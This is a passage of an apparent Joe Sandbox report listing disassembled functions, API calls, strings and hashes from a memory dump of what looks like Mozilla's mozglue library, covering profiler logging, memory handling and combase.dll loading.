GetLastError.KERNEL32(?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE3D

Strings

$me/, xrefs: 6C37AD7D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID: $me/
API String ID: 3161513745-2210144079
Opcode ID: a19717db8c54dd1805b376c6ac0c85337787444a913bd13f7c15a2b4a59ba7b4
Instruction ID: 790b34ed26e7e8b43da7ab36db037edb8bddb2e2d448163894b7b793f9c96380
Opcode Fuzzy Hash: a19717db8c54dd1805b376c6ac0c85337787444a913bd13f7c15a2b4a59ba7b4
Instruction Fuzzy Hash: 993150B1A012159FDB10DF799C45AABB7F8EF48614F158829E88AD7700E738D804CBB5

Function 6C3584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3585AC

Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35767F
Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C357693
Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3585B2

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 330cc3d38d729866a571a6c91dcd2430fb75612f095652d6c008593644307d47
Instruction ID: 6841f21bbe6a6d60d883179525415f76ab04eccbb3c7ae71f519ce6dff84468a
Opcode Fuzzy Hash: 330cc3d38d729866a571a6c91dcd2430fb75612f095652d6c008593644307d47
Instruction Fuzzy Hash: 49217F742006019FEB14DF25D888E9AB7B9AF4530DF54482DE59BC3B41EB32F968CB52

Function 6C31B7A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C31B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C31B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C31B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C31B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C31B849

Strings

$me/, xrefs: 6C31B7AC

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID: $me/
API String ID: 1977084945-2210144079
Opcode ID: a88b18c1fdf172d1aa8d10f663fe2736eabed738126ab9d03adb77734ff8af9b
Instruction ID: 798437f4f9f65a4cc970f3119e0fcbb651afa7a5d528557e5d58a40c1756913f
Opcode Fuzzy Hash: a88b18c1fdf172d1aa8d10f663fe2736eabed738126ab9d03adb77734ff8af9b
Instruction Fuzzy Hash: C1214BB0E002499FDF04DFA9D8855FEBBB8EF49718F148129E845AB700E731A944CFA1

Function 6C35E020 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35E04F

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C35E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C35E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C35E057
$me/, xrefs: 6C35E02F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: $me/$[I %d/%d] profiler_get_profile
API String ID: 1832963901-2078160322
Opcode ID: e0e4816178f543f6c9a913ac8421354ea1ed47a0e35c0225da7a0286af1f89c2
Instruction ID: af15591eb4057c6c9f0b4602ec28b941b43ac9ec3858a1221f66c13edaedb820
Opcode Fuzzy Hash: e0e4816178f543f6c9a913ac8421354ea1ed47a0e35c0225da7a0286af1f89c2
Instruction Fuzzy Hash: BF21C574B002088FDF04DF65D858AEEB7B9AF4520CF944014EC4A97740EB369919CFE2

Function 6C376E50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C376E78

Part of subcall function 6C376A10: InitializeCriticalSection.KERNEL32(6C39F618), ref: 6C376A68
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376A7D
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376AA1
Part of subcall function 6C376A10: EnterCriticalSection.KERNEL32(6C39F618), ref: 6C376AAE
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376AE1
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376B15
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C376B65
Part of subcall function 6C376A10: LeaveCriticalSection.KERNEL32(6C39F618,?,?), ref: 6C376B83

MozFormatCodeAddress.MOZGLUE ref: 6C376EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C376EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C376EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C376EFF

Strings

$me/, xrefs: 6C376E5F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID: $me/
API String ID: 4058739482-2210144079
Opcode ID: be883e9a14a3ec755d92bdfb840257deeb9108e00d7231a788e1994133c02293
Instruction ID: 96e2a1d1782b7e0ea169a79a7eaf387c33405541e01c0e05c60bee0929e92c8a
Opcode Fuzzy Hash: be883e9a14a3ec755d92bdfb840257deeb9108e00d7231a788e1994133c02293
Instruction Fuzzy Hash: 5121B271A0421A8FDB14CF29D8846DE77F9EF84308F044039E84997240EB359A488FA2

Function 6C35F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C35F598), ref: 6C35F621

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F637
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F645
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C35F62A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 0593cab39140c23995efc947949a68ec0a86b6fb029bdee52957978157cb7e40
Instruction ID: fa8368c98cdf98025ac4e36b5465e5869476f647723fe12b797d86948f3dd362
Opcode Fuzzy Hash: 0593cab39140c23995efc947949a68ec0a86b6fb029bdee52957978157cb7e40
Instruction Fuzzy Hash: F711E376201204ABCB04AF19D948DA5777DFF8A35CB910415FA4687F41EB33AC25CFA1

Function 6C322070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,6C321C5F), ref: 6C3220AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C3220CD
__Init_thread_footer.LIBCMT ref: 6C3220E1
FreeLibrary.KERNEL32 ref: 6C322124

Strings

CoInitializeSecurity, xrefs: 6C3220C7
combase.dll, xrefs: 6C3220A9

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: c13a5ea8f1eff3043fc58db20fff93bce908619fad15a41a780e8c70c4d18fc5
Instruction ID: aa25ba80024bbdde69b791de84ed2a9551c138d0ff702cdd184c5732d332f505
Opcode Fuzzy Hash: c13a5ea8f1eff3043fc58db20fff93bce908619fad15a41a780e8c70c4d18fc5
Instruction Fuzzy Hash: 1C215776600209EBDF11CF55DD48D9A3BBEFB0A328F008018FA0592610E3779861CFA1

Function 6C3776C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C3776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C377705

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C377717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C37778F,00000000,00000000,00000000,00000000), ref: 6C377731
free.MOZGLUE(00000000), ref: 6C377760

Strings

}>5l, xrefs: 6C3776C4

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>5l
API String ID: 2538299546-1892777986
Opcode ID: 741471f8a714f744cc7bcaa44ff21fef93da4d9889e1d393b9778d6e545caa02
Instruction ID: 514163151ae9109754ccf6ef7a42b2410a42d3fd9f1a19caf41e1cdecb1836ef
Opcode Fuzzy Hash: 741471f8a714f744cc7bcaa44ff21fef93da4d9889e1d393b9778d6e545caa02
Instruction Fuzzy Hash: 371193B19052556BE720AF659C44AAB7EE8EF46358F044529E888A7200E7798840CBF2

Function 6C321FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C321FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C321FFD
__Init_thread_footer.LIBCMT ref: 6C322011
FreeLibrary.KERNEL32 ref: 6C322059

Strings

combase.dll, xrefs: 6C321FD9
CoCreateInstance, xrefs: 6C321FF7

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b08cf2889b236435e101546081d4356288776d6d71c462c9a199544e8310e644
Instruction ID: c5f3e77912a3ccee0555ab23a3745c4e0ac3e542b806eb6725ea97bd0455dce2
Opcode Fuzzy Hash: b08cf2889b236435e101546081d4356288776d6d71c462c9a199544e8310e644
Instruction Fuzzy Hash: DF1176B5601604AFEF20DF56DD48E9A7B7DFB8A369F108029F90586640E737A810CFA1

Function 6C320EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C34D9F0,00000000), ref: 6C320F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C320F3C
__Init_thread_footer.LIBCMT ref: 6C320F50
FreeLibrary.KERNEL32(?,6C34D9F0,00000000), ref: 6C320F86

Strings

combase.dll, xrefs: 6C320F18
CoInitializeEx, xrefs: 6C320F36

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 5416ff5a466caae4b0f7d5e01f012ed0611cae8242ec8380096f4142907fc7ab
Instruction ID: 324c58b486450d5c4f1ec4ffc6627565343631907acf5849e4dab148853aa165
Opcode Fuzzy Hash: 5416ff5a466caae4b0f7d5e01f012ed0611cae8242ec8380096f4142907fc7ab
Instruction Fuzzy Hash: 02118274745240ABDF20DF55D918A8637BCFB4E325F104229F90592B40F73AE809CE65

Function 6C35F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F561

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F585
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F5A3

Strings

$me/, xrefs: 6C35F07C, 6C35F1BA, 6C35F32A, 6C35F41A
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C35F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C35F499
[I %d/%d] profiler_resume, xrefs: 6C35F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C35F3A8

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: $me/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-677886819
Opcode ID: efb19d0736658068a3cd67b08cef52f2066058e57369fdd05c21af3f0ef8b98d
Instruction ID: 690d81b5c3d9b91a9cbd2e9c08e4dc73bf0a79d0c4f28107b5e3ef7f0aca8de7
Opcode Fuzzy Hash: efb19d0736658068a3cd67b08cef52f2066058e57369fdd05c21af3f0ef8b98d
Instruction Fuzzy Hash: BFF0B4B66002049BDB10AF649848D6A777DEB8A29DF010411FA068B701EB375C01CB61

Function 6C35F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C35F598), ref: 6C35F621

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F637
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F645
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C35F62A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 52291622b32104f6052974e9531a21a47fe63b2c3071f56b9fb7f977c32501ca
Instruction ID: 451256aa78dab858537c039925c65f45b9a3cd1972ef596a11a4ad3927fe69cc
Opcode Fuzzy Hash: 52291622b32104f6052974e9531a21a47fe63b2c3071f56b9fb7f977c32501ca
Instruction Fuzzy Hash: 9DF0B4B6600200ABDB10AF649848D6A777DEB8A29DF410011FA4687741EB375C01CB62

Function 6C320E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C320DF8), ref: 6C320E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C320EA1
__Init_thread_footer.LIBCMT ref: 6C320EB5
FreeLibrary.KERNEL32 ref: 6C320EC5

Strings

kernel32.dll, xrefs: 6C320E7D
GetProcessMitigationPolicy, xrefs: 6C320E9B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
